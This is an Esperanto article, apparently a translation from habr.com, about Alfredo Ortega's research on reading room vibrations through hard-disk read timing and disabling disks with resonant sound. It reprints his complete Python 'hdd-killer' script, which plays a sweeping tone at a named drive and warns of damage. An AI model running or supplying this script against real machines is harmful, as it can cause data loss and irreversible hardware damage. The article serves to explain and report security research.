Kial vi ne devus krii al via HDD

Kial vi ne devus krii al via HDD

En la konferenco pri komputila sekureco Ekoparty 2017 en Bonaero, argentina hakisto Alfredo Ortega montris tre interesan evoluon - sistemon por kaŝaŭskulti lokalojn sen uzi mikrofonon. Sono registrita rekte al la malmola disko!

La HDD ĉefe kaptas alt-intensajn malaltfrekvencajn sonojn, paŝojn kaj aliajn vibrojn. Homa parolo ankoraŭ ne povas esti rekonita, kvankam sciencistoj faras esploradon tiudirekte (parolrekono per malaltfrekvencaj vibroj, kiuj estas registritaj, ekzemple, de giroskopo aŭ HDD).

Sono estas la vibrado de aero aŭ alia medio. Homo perceptas ilin tra la timpano, kiu transdonas vibrojn al la interna orelo. La mikrofono estas desegnita proksimume kiel orelo - ankaŭ ĉi tie vibroj estas registritaj per maldika membrano, kiu ekscitas elektran impulson. La malmola disko, kompreneble, ankaŭ estas submetata al mikroskopaj vibroj pro fluktuoj en la ĉirkaŭa aero. Ĉi tio estas konata eĉ de la teknikaj karakterizaĵoj de HDD-oj: fabrikantoj kutime indikas la maksimuman permeseblan vibrnivelon, kaj la malmola disko mem ofte provas meti ĝin en vibrorezistan ujon el kaŭĉuko aŭ alia izola materialo. El tio estas facile konkludi, ke sonoj povas esti registritaj per HDD. Restas nur eltrovi kiel.

Alfredo Ortega proponis unikan version de flankkanala atako, nome tempoatako. Ĉi tiu atako baziĝas sur la supozo, ke malsamaj operacioj estas faritaj sur la aparato en malsamaj tempoj, depende de la eniga datumoj donitaj. En ĉi tiu kazo, la "eniga datumoj" estas la vibroj de la legokapo kaj la HDD-plado, kiuj korelacias kun la vibroj de la medio, tio estas, kun sono. Tiel, mezurante la komputadtempon kaj elfarante statistikan analizon de la datenoj, la vibradoj de la kapo/plado kaj tial la vibradoj de la medio povas esti mezuritaj. Ju pli longa estas la prokrasto en legado de datumoj, des pli fortaj la HDD-vibroj kaj, do, des pli laŭta la sono.

Kiel mezuri la vibradon de malmola disko? Tre simple: simple rulu la sistemvokon read () — kaj registri la tempon necesan por kompletigi. Modernaj operaciumoj permesas legi la tempigon de sistemvokoj kun nanosekunda precizeco.

La rapideco de legado de informoj de sektoro dependas de la pozicio de la kapo kaj plado, kiu korelacias kun vibroj de la HDD-kazo. Tio estas ĉio.

Statistika analizo estas farita per simpla Kscope-ilaĵo. Kiel oni diras, ĉio sprita estas simpla.

Kial vi ne devus krii al via HDD
Kscope-ilaĵo (stat() syscall)

Kscope estas malgranda ilo por bildigi etajn diferencojn en la tempoj de ekzekuto de sistema voko. Fontopublikigita sur GitHub.

En aparta deponejo HDD-tempo ekzistas versio de la utileco agordita por tempo-atako sur la malmola disko, tio estas, agordita por analizi la sisteman vokon. read ().

Pruvo de sonregistrado per HDD, funkciado de la utileco Kscope


Kompreneble, parolado ne povas esti komprenita tiamaniere, sed la HDD estas sufiĉe taŭga kiel vibra sensilo. Ekzemple, vi povas registri, se persono portanta malmolajn ŝuojn aŭ nudpiede eniris ĉambron kun komputilo (verŝajne, se la atakanto portas molajn sneakers aŭ estas dika tapiŝo sur la planko, la HDD ne povos registri vibrojn - ĉi tio indas kontroli). La komputilo kapablas registri rompitajn vitrojn aŭ aliajn okazaĵojn kun forta sonintenso. Tio estas, la malmola disko povas funkcii kiel speco de neaŭtorizita entrudiĝa detekta sistemo.

HDD-murdinto

Cetere, simila tekniko povas esti uzata por malŝalti malmolajn diskojn. Nur ĉi tie ni ne forigas osciladojn de la HDD, sed male, ni generas osciladojn kiuj estas nutritaj al la HDD. Se vi ludas sonon de laŭtparolilo je frekvenco kiu resonas kun la HDD-frekvenco, la sistemo baldaŭ malŝaltas la aparaton kun I/O-eraro (la Linukso-kerno tute malŝaltas la HDD post 120 sekundoj). La malmola disko mem povas suferi neinversigeblan damaĝon.

Kial vi ne devus krii al via HDD
La Linukso-kerno malŝaltis la malmolan diskon post 120 sekundoj de liverado de sono kun resonanca frekvenco per la laŭtparolilo de la Edifier r19u USB-parolilo. La laŭtparolilo estas ŝaltita je ĉirkaŭ kvarono de potenco (malpli ol 100 mW) kaj situas 20 cm de la HDD, celita al la tablo por pliigi vibrojn. Kadro el filmeto kun pruvo de la HDD-murdinto

Estas kurioze, ke tiaj "atakoj" al HDD-oj foje okazas tute hazarde en la ĉiutaga vivo. Ekzemple, en septembro 2016, la datumcentro de ING Bank estis devigita suspendi operaciojn dum 10 horoj post fajro-ekzerco. Dekoj da malmolaj diskoj malsukcesis pro la laŭta sono de inerta gaso liberigita de cilindroj sub alta premo. La sono estis tre laŭta (pli ol 130 dB), sed vi eĉ ne povas krii al la malmolaj diskoj - ĉi tio pliigas la malfruon en aliro al la HDD.

Demonstro de homa kriado ĉe malmolaj diskoj en datumcentro. Mezurado de latencia


Por generi la resonan sonon, Alfredo Ortega skribis Python-skripton nomitan hdd-murdinto (videa pruvo).

HDD-mortiga skripto Ĝi estas sufiĉe malgranda, do vi povas publikigi ĝin tute ĉi tie.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

fonto: www.habr.com

Aldoni komenton